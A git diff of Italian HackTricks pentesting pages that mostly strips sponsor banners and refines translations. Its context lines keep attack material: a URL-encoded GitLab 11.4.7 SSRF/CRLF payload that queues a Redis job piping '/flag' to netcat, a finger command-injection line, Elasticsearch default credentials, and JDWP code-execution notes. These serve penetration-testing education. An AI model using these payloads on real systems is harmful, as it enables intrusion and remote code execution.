@@ Pertanto, se trovi una **SSRF vuln** in un sito web e puoi **controllare** alcun In **Gitlab11.4.7** è stata scoperta una vulnerabilità **SSRF** e una **CRLF**. La vulnerabilità **SSRF** si trovava nella **funzionalità di importazione del progetto da URL** durante la creazione di un nuovo progetto e consentiva di accedere a IP arbitrari nella forma \[0:0:0:0:0:ffff:127.0.0.1] (questo accederà a 127.0.0.1), e la vulnerabilità **CRLF** è stata sfruttata semplicemente **aggiungendo caratteri %0D%0A** all'**URL**. -Pertanto, è stato possibile **sfruttare queste vulnerabilità per comunicare con l'istanza Redis** che **gestisce le code** di **gitlab** e abusare di quelle code per **ottenere l'esecuzione di codice**. Il payload di abuso della coda Redis è: +Pertanto, è stato possibile **sfruttare queste vulnerabilità per comunicare con l'istanza Redis** che **gestisce le code** da **gitlab** e abusare di quelle code per **ottenere l'esecuzione di codice**. Il payload di abuso della coda Redis è: ``` multi sadd resque:gitlab:queues system_hook_push @@ -296,21 +266,6 @@ E la richiesta **URL encode** **abusando di SSRF** e **CRLF** per eseguire un `w ``` git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git ``` -_Per qualche motivo (come per l'autore di_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _da cui è stata tratta questa informazione) lo sfruttamento ha funzionato con lo schema `git` e non con lo schema `http`._ - -
- -Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty! - -**Hacking Insights**\ -Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking - -**Real-Time Hack News**\ -Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale - -**Latest Announcements**\ -Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma - -**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso! +_Per qualche motivo (come per l'autore di_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _da cui sono state tratte queste informazioni) l'exploitation ha funzionato con lo schema `git` e non con lo schema `http`._ {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/69-udp-tftp.md b/src/network-services-pentesting/69-udp-tftp.md index f244fc2c2..3a5172bb6 100644 --- a/src/network-services-pentesting/69-udp-tftp.md +++ b/src/network-services-pentesting/69-udp-tftp.md @@ -1,14 +1,10 @@ {{#include ../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - # Informazioni di Base -**Trivial File Transfer Protocol (TFTP)** è un protocollo semplice utilizzato su **UDP port 69** che consente trasferimenti di file senza necessità di autenticazione. Sottolineato in **RFC 1350**, la sua semplicità significa che manca di funzionalità di sicurezza chiave, portando a un uso limitato su Internet pubblico. Tuttavia, **TFTP** è ampiamente utilizzato all'interno di grandi reti interne per distribuire **file di configurazione** e **immagini ROM** a dispositivi come **VoIP handsets**, grazie alla sua efficienza in questi scenari specifici. +**Trivial File Transfer Protocol (TFTP)** è un protocollo semplice utilizzato sulla **porta UDP 69** che consente trasferimenti di file senza necessità di autenticazione. Sottolineato nella **RFC 1350**, la sua semplicità significa che manca di caratteristiche di sicurezza fondamentali, portando a un uso limitato su Internet pubblico. Tuttavia, **TFTP** è ampiamente utilizzato all'interno di grandi reti interne per distribuire **file di configurazione** e **immagini ROM** a dispositivi come **VoIP handsets**, grazie alla sua efficienza in questi scenari specifici. -**TODO**: Fornire informazioni su cosa sia un Bittorrent-tracker (Shodan identifica questa porta con quel nome). Se hai ulteriori informazioni su questo faccelo sapere ad esempio nel [**HackTricks telegram group**](https://t.me/peass) (o in un problema su github in [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)). +**TODO**: Fornire informazioni su cosa sia un Bittorrent-tracker (Shodan identifica questa porta con quel nome). Se hai ulteriori informazioni su questo faccelo sapere ad esempio nel [**gruppo telegram di HackTricks**](https://t.me/peass) (o in un problema su github in [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)). **Porta Predefinita:** 69/UDP ``` @@ -38,8 +34,5 @@ client.upload("filename to upload", "/local/path/file", timeout=5) - `port:69` -
- -{% embed url="https://websec.nl/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md b/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md index 81eab99db..723eee654 100644 --- a/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md +++ b/src/network-services-pentesting/8009-pentesting-apache-jserv-protocol-ajp.md @@ -2,21 +2,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty! - -**Approfondimenti sul hacking**\ -Interagisci con contenuti che esplorano l'emozione e le sfide dell'hacking - -**Notizie di hacking in tempo reale**\ -Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale - -**Ultimi annunci**\ -Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma - -**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso! - ## Informazioni di base Da [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/) @@ -25,7 +10,7 @@ Da [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://d Anche interessante: -> Il protocollo ajp13 è orientato ai pacchetti. Un formato binario è stato presumibilmente scelto rispetto al testo semplice più leggibile per motivi di prestazioni. Il server web comunica con il contenitore servlet tramite connessioni TCP. Per ridurre il costoso processo di creazione di socket, il server web tenterà di mantenere connessioni TCP persistenti con il contenitore servlet e di riutilizzare una connessione per più cicli di richiesta/riposta. +> Il protocollo ajp13 è orientato ai pacchetti. Un formato binario è presumibilmente stato scelto rispetto al testo semplice più leggibile per motivi di prestazioni. Il server web comunica con il contenitore servlet tramite connessioni TCP. Per ridurre il costoso processo di creazione di socket, il server web tenterà di mantenere connessioni TCP persistenti con il contenitore servlet e di riutilizzare una connessione per più cicli di richiesta/riposta. **Porta predefinita:** 8009 ``` @@ -99,19 +84,4 @@ docker run -it --rm -p 80:80 nginx-ajp-proxy - [https://github.com/yaoweibin/nginx_ajp_module](https://github.com/yaoweibin/nginx_ajp_module) -
- -Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty! - -**Hacking Insights**\ -Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking - -**Real-Time Hack News**\ -Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale - -**Latest Announcements**\ -Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma - -**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso! - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/8086-pentesting-influxdb.md b/src/network-services-pentesting/8086-pentesting-influxdb.md index 14503b4f3..886b74bff 100644 --- a/src/network-services-pentesting/8086-pentesting-influxdb.md +++ b/src/network-services-pentesting/8086-pentesting-influxdb.md @@ -1,18 +1,11 @@ # 8086 - Pentesting InfluxDB -
- -\ -Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=8086-pentesting-influxdb) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\ -Accedi oggi: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=8086-pentesting-influxdb" %} {{#include ../banners/hacktricks-training.md}} ## Informazioni di base -**InfluxDB** è un **database** open-source **per serie temporali (TSDB)** sviluppato da InfluxData. I TSDB sono ottimizzati per memorizzare e servire dati di serie temporali, che consistono in coppie timestamp-valore. Rispetto ai database di uso generale, i TSDB offrono miglioramenti significativi in **spazio di archiviazione** e **prestazioni** per i dataset di serie temporali. Utilizzano algoritmi di compressione specializzati e possono essere configurati per rimuovere automaticamente i dati vecchi. Indici di database specializzati migliorano anche le prestazioni delle query. +**InfluxDB** è un **database di serie temporali (TSDB)** open-source sviluppato da InfluxData. I TSDB sono ottimizzati per memorizzare e servire dati di serie temporali, che consistono in coppie timestamp-valore. Rispetto ai database di uso generale, i TSDB offrono miglioramenti significativi in **spazio di archiviazione** e **prestazioni** per i dataset di serie temporali. Utilizzano algoritmi di compressione specializzati e possono essere configurati per rimuovere automaticamente i dati obsoleti. Indici di database specializzati migliorano anche le prestazioni delle query. **Porta predefinita**: 8086 ``` @@ -21,11 +14,11 @@ PORT STATE SERVICE VERSION ``` ## Enumerazione -Dal punto di vista di un pentester, questa è un'altra database che potrebbe contenere informazioni sensibili, quindi è interessante sapere come estrarre tutte le informazioni. +Dal punto di vista di un pentester, questo è un altro database che potrebbe contenere informazioni sensibili, quindi è interessante sapere come estrarre tutte le informazioni. ### Autenticazione -InfluxDB potrebbe richiedere autenticazione oppure no. +InfluxDB potrebbe richiedere autenticazione o meno ```bash # Try unauthenticated influx -host 'host name' -port 'port #' @@ -111,11 +104,3 @@ time cpu host usage_guest usage_guest_nice usage_idle msf6 > use auxiliary/scanner/http/influxdb_enum ``` {{#include ../banners/hacktricks-training.md}} - -
- -\ -Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=8086-pentesting-influxdb) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\ -Ottieni accesso oggi: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=8086-pentesting-influxdb" %} diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md index 088821dfb..ceb65290d 100644 --- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md +++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -2,21 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -
- -**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud** - -**Trova e segnala vulnerabilità critiche ed exploitabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ## Informazioni di base -Elasticsearch è un **motore di ricerca** e **analisi** **distribuito** e **open source** per **tutti i tipi di dati**. È noto per la sua **velocità**, **scalabilità** e **API REST semplici**. Costruito su Apache Lucene, è stato rilasciato per la prima volta nel 2010 da Elasticsearch N.V. (ora conosciuta come Elastic). Elasticsearch è il componente centrale dell'Elastic Stack, una raccolta di strumenti open source per l'ingestione, l'arricchimento, l'archiviazione, l'analisi e la visualizzazione dei dati. Questo stack, comunemente chiamato ELK Stack, include anche Logstash e Kibana, e ora ha agenti di spedizione dati leggeri chiamati Beats. +Elasticsearch è un motore di ricerca e analisi **distribuito**, **open source** per **tutti i tipi di dati**. È noto per la sua **velocità**, **scalabilità** e **API REST semplici**. Costruito su Apache Lucene, è stato rilasciato per la prima volta nel 2010 da Elasticsearch N.V. (ora conosciuta come Elastic). Elasticsearch è il componente principale dell'Elastic Stack, una raccolta di strumenti open source per l'ingestione, l'arricchimento, l'archiviazione, l'analisi e la visualizzazione dei dati. Questo stack, comunemente chiamato ELK Stack, include anche Logstash e Kibana, e ora ha agenti di spedizione dati leggeri chiamati Beats. ### Cos'è un indice Elasticsearch? -Un **indice** Elasticsearch è una collezione di **documenti correlati** memorizzati come **JSON**. Ogni documento è composto da **chiavi** e dai loro corrispondenti **valori** (stringhe, numeri, booleani, date, array, geolocalizzazioni, ecc.). +Un **indice** Elasticsearch è una raccolta di **documenti correlati** memorizzati come **JSON**. Ogni documento è composto da **chiavi** e dai loro corrispondenti **valori** (stringhe, numeri, booleani, date, array, geolocalizzazioni, ecc.). Elasticsearch utilizza una struttura dati efficiente chiamata **indice invertito** per facilitare ricerche full-text veloci. Questo indice elenca ogni parola unica nei documenti e identifica i documenti in cui appare ciascuna parola. @@ -47,12 +39,12 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" ```bash {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401} ``` -Ciò significa che l'autenticazione è configurata e **hai bisogno di credenziali valide** per ottenere informazioni da elasticsearch. Poi, puoi [**provare a fare bruteforce**](../generic-hacking/brute-force.md#elasticsearch) (utilizza l'autenticazione HTTP di base, quindi qualsiasi cosa che possa fare BF su HTTP basic auth può essere utilizzata).\ +Ciò significa che l'autenticazione è configurata e **hai bisogno di credenziali valide** per ottenere informazioni da elasticsearch. Poi, puoi [**provare a fare bruteforce**](../generic-hacking/brute-force.md#elasticsearch) (utilizza l'autenticazione di base HTTP, quindi qualsiasi cosa che possa fare BF su HTTP basic auth può essere utilizzata).\ Ecco una **lista di nomi utente predefiniti**: _**elastic** (superuser), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Le versioni più vecchie di Elasticsearch hanno la password predefinita **changeme** per questo utente. ``` curl -X GET http://user:password@IP:9200/ ``` -### Enumerazione di Utenti di Base +### Enumerazione di Base degli Utenti ```bash #List all roles on the system: curl -X GET "ELASTICSEARCH-SERVER:9200/_security/role" @@ -165,7 +157,7 @@ E nota le **proprietà create automaticamente**: ## Enumerazione Automatica -Alcuni strumenti otterranno alcuni dei dati presentati prima: +Al alcuni strumenti otterranno alcuni dei dati presentati prima: ```bash msf > use auxiliary/scanner/elasticsearch/indices_enum ``` @@ -175,12 +167,5 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum - `port:9200 elasticsearch` -
- -**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud** - -**Trova e segnala vulnerabilità critiche e sfruttabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-dns.md b/src/network-services-pentesting/pentesting-dns.md index 7d411b548..5bad35cbd 100644 --- a/src/network-services-pentesting/pentesting-dns.md +++ b/src/network-services-pentesting/pentesting-dns.md @@ -2,15 +2,8 @@ {{#include ../banners/hacktricks-training.md}} -
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud** - -**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - -## **Informazioni di base** +## **Informazioni di Base** Il **Domain Name System (DNS)** funge da directory di internet, consentendo agli utenti di accedere ai siti web tramite **nomi di dominio facili da ricordare** come google.com o facebook.com, invece degli indirizzi numerici del Protocollo Internet (IP). Traducendo i nomi di dominio in indirizzi IP, il DNS garantisce che i browser web possano caricare rapidamente le risorse internet, semplificando il modo in cui navighiamo nel mondo online. @@ -102,7 +95,7 @@ dnsrecon -r /24 -n #DNS reverse of all of the addresses dnsrecon -d active.htb -a -n #Zone transfer ``` > [!NOTE] -> Se riesci a trovare sottodomini che risolvono a indirizzi IP interni, dovresti provare a eseguire un attacco di brute force DNS inverso sui NS del dominio richiedendo quel range IP. +> Se riesci a trovare sottodomini che risolvono a indirizzi IP interni, dovresti provare a eseguire un reverse dns BF sui NS del dominio chiedendo per quel range IP. Un altro strumento per farlo: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan) @@ -156,17 +149,10 @@ dig google.com A @ ![](<../images/image (146).png>) -
- -**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud** - -**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ### Email a un account inesistente -**Inviare un'email a un indirizzo non esistente** utilizzando il dominio della vittima potrebbe indurre la vittima a inviare un messaggio di notifica di mancata consegna (NDN) i cui **header** potrebbero contenere informazioni interessanti come il **nome dei server interni e indirizzi IP**. +**Inviare un'email a un indirizzo non esistente** utilizzando il dominio della vittima potrebbe indurre la vittima a inviare un messaggio di notifica di mancata consegna (NDN) i cui **header** potrebbero contenere informazioni interessanti come il **nome dei server interni e gli indirizzi IP**. ## Post-Exploitation @@ -239,12 +225,4 @@ Description: DNS enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit' ``` -
- -**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud** - -**Trova e segnala vulnerabilità critiche ed esploitabili con un reale impatto sul business.** Utilizza i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-finger.md b/src/network-services-pentesting/pentesting-finger.md index feb2058dc..ba12bcb3d 100644 --- a/src/network-services-pentesting/pentesting-finger.md +++ b/src/network-services-pentesting/pentesting-finger.md @@ -2,17 +2,10 @@ {{#include ../banners/hacktricks-training.md}} -
- -**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud** - -**Trova e segnala vulnerabilità critiche e sfruttabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## **Informazioni di base** -Il programma/servizio **Finger** è utilizzato per recuperare dettagli sugli utenti del computer. Tipicamente, le informazioni fornite includono il **nome di accesso dell'utente, nome completo**, e, in alcuni casi, dettagli aggiuntivi. Questi dettagli extra potrebbero comprendere la posizione dell'ufficio e il numero di telefono (se disponibile), l'ora in cui l'utente ha effettuato l'accesso, il periodo di inattività (tempo di inattività), l'ultima volta che la posta è stata letta dall'utente e i contenuti dei file di piano e progetto dell'utente. +Il programma/servizio **Finger** è utilizzato per recuperare dettagli sugli utenti del computer. Tipicamente, le informazioni fornite includono il **nome utente, nome completo**, e, in alcuni casi, dettagli aggiuntivi. Questi dettagli extra potrebbero comprendere la posizione dell'ufficio e il numero di telefono (se disponibile), l'ora in cui l'utente ha effettuato l'accesso, il periodo di inattività (tempo di inattività), l'ultima volta che la posta è stata letta dall'utente e i contenuti dei file di piano e progetto dell'utente. **Porta predefinita:** 79 ``` @@ -60,12 +53,4 @@ finger "|/bin/ls -a /@example.com" finger user@host@victim finger @internal@external ``` -
- -**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud** - -**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md index cd79198da..318d6415a 100644 --- a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md +++ b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md @@ -1,14 +1,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud** - -**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - -# Riepilogo +# Riassunto Se hai accesso a un server FTP di rimbalzo, puoi farlo richiedere file da un altro server FTP \(dove conosci alcune credenziali\) e scaricare quel file sul tuo server. @@ -18,7 +10,7 @@ Se hai accesso a un server FTP di rimbalzo, puoi farlo richiedere file da un alt - Credenziali FTP valide nel server FTP della vittima - Entrambi i server accettano il comando PORT \(attacco FTP di rimbalzo\) - Puoi scrivere all'interno di una directory del server FTP intermedio -- Il server intermedio avrà più accesso all'interno del server FTP della vittima rispetto a te per qualche motivo \(questo è ciò che intendi sfruttare\) +- Il server intermedio avrà più accesso all'interno del server FTP della vittima rispetto a te per qualche motivo \(questo è ciò che sfrutterai\) ## Passaggi @@ -31,12 +23,4 @@ Se hai accesso a un server FTP di rimbalzo, puoi farlo richiedere file da un alt Per informazioni più dettagliate controlla il post: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html) -
- -**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud** - -**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md b/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md index f4092fe7b..c7efc4a5e 100644 --- a/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md +++ b/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md @@ -2,13 +2,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud** - -**Trova e segnala vulnerabilità critiche ed esploitabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## Sfruttamento @@ -35,22 +28,22 @@ Ho scoperto che l'uso di `--break-on 'java.lang.String.indexOf'` rende l'exploit 2. **Handshake JDWP**: -- Un semplice processo di handshake viene utilizzato per avviare la comunicazione. Una stringa ASCII di 14 caratteri “JDWP-Handshake” viene scambiata tra il Debugger (client) e il Debuggee (server). +- Viene utilizzato un semplice processo di handshake per avviare la comunicazione. Una stringa ASCII di 14 caratteri “JDWP-Handshake” viene scambiata tra il Debugger (client) e il Debuggee (server). 3. **Comunicazione JDWP**: - I messaggi hanno una struttura semplice con campi come Lunghezza, Id, Flag e CommandSet. -- I valori di CommandSet variano da 0x40 a 0x80, rappresentando diverse azioni ed eventi. +- I valori di CommandSet vanno da 0x40 a 0x80, rappresentando diverse azioni ed eventi. 4. **Sfruttamento**: - JDWP consente di caricare e invocare classi e bytecode arbitrari, ponendo rischi per la sicurezza. -- L'articolo dettaglia un processo di sfruttamento in cinque fasi, che coinvolgono il recupero dei riferimenti Java Runtime, l'impostazione di breakpoint e l'invocazione di metodi. +- L'articolo dettaglia un processo di sfruttamento in cinque fasi, che coinvolgono il recupero dei riferimenti Java Runtime, l'impostazione dei breakpoint e l'invocazione dei metodi. 5. **Sfruttamento nella vita reale**: - Nonostante le potenziali protezioni del firewall, i servizi JDWP sono scopribili e sfruttabili in scenari reali, come dimostrato da ricerche su piattaforme come ShodanHQ e GitHub. -- Lo script di exploit è stato testato contro varie versioni di JDK ed è indipendente dalla piattaforma, offrendo un'affidabile Esecuzione Remota di Codice (RCE). +- Lo script di exploit è stato testato contro varie versioni di JDK ed è indipendente dalla piattaforma, offrendo un'esecuzione remota di codice (RCE) affidabile. 6. **Implicazioni per la sicurezza**: - La presenza di servizi JDWP aperti su Internet sottolinea la necessità di revisioni di sicurezza regolari, disabilitando le funzionalità di debug in produzione e configurazioni adeguate del firewall. @@ -70,12 +63,5 @@ Ho scoperto che l'uso di `--break-on 'java.lang.String.indexOf'` rende l'exploit - [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html) - [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html) -
- -**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud** - -**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto commerciale.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in rapporti persuasivi. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-modbus.md b/src/network-services-pentesting/pentesting-modbus.md index 5a62a8272..865b824ab 100644 --- a/src/network-services-pentesting/pentesting-modbus.md +++ b/src/network-services-pentesting/pentesting-modbus.md @@ -1,16 +1,9 @@ {{#include ../banners/hacktricks-training.md}} -
- -**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud** - -**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Utilizza i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} # Informazioni di base -Nel 1979, il **Protocollo Modbus** è stato sviluppato da Modicon, fungendo da struttura di messaggistica. Il suo utilizzo principale coinvolge la facilitazione della comunicazione tra dispositivi intelligenti, operando secondo un modello master-slave/client-server. Questo protocollo gioca un ruolo cruciale nel consentire ai dispositivi di scambiare dati in modo efficiente. +Nel 1979, il **Protocollo Modbus** è stato sviluppato da Modicon, fungendo da struttura di messaggistica. Il suo utilizzo principale consiste nel facilitare la comunicazione tra dispositivi intelligenti, operando secondo un modello master-slave/client-server. Questo protocollo svolge un ruolo cruciale nel consentire ai dispositivi di scambiare dati in modo efficiente. **Porta predefinita:** 502 ``` diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 8b7608277..beea166b1 100644 --- 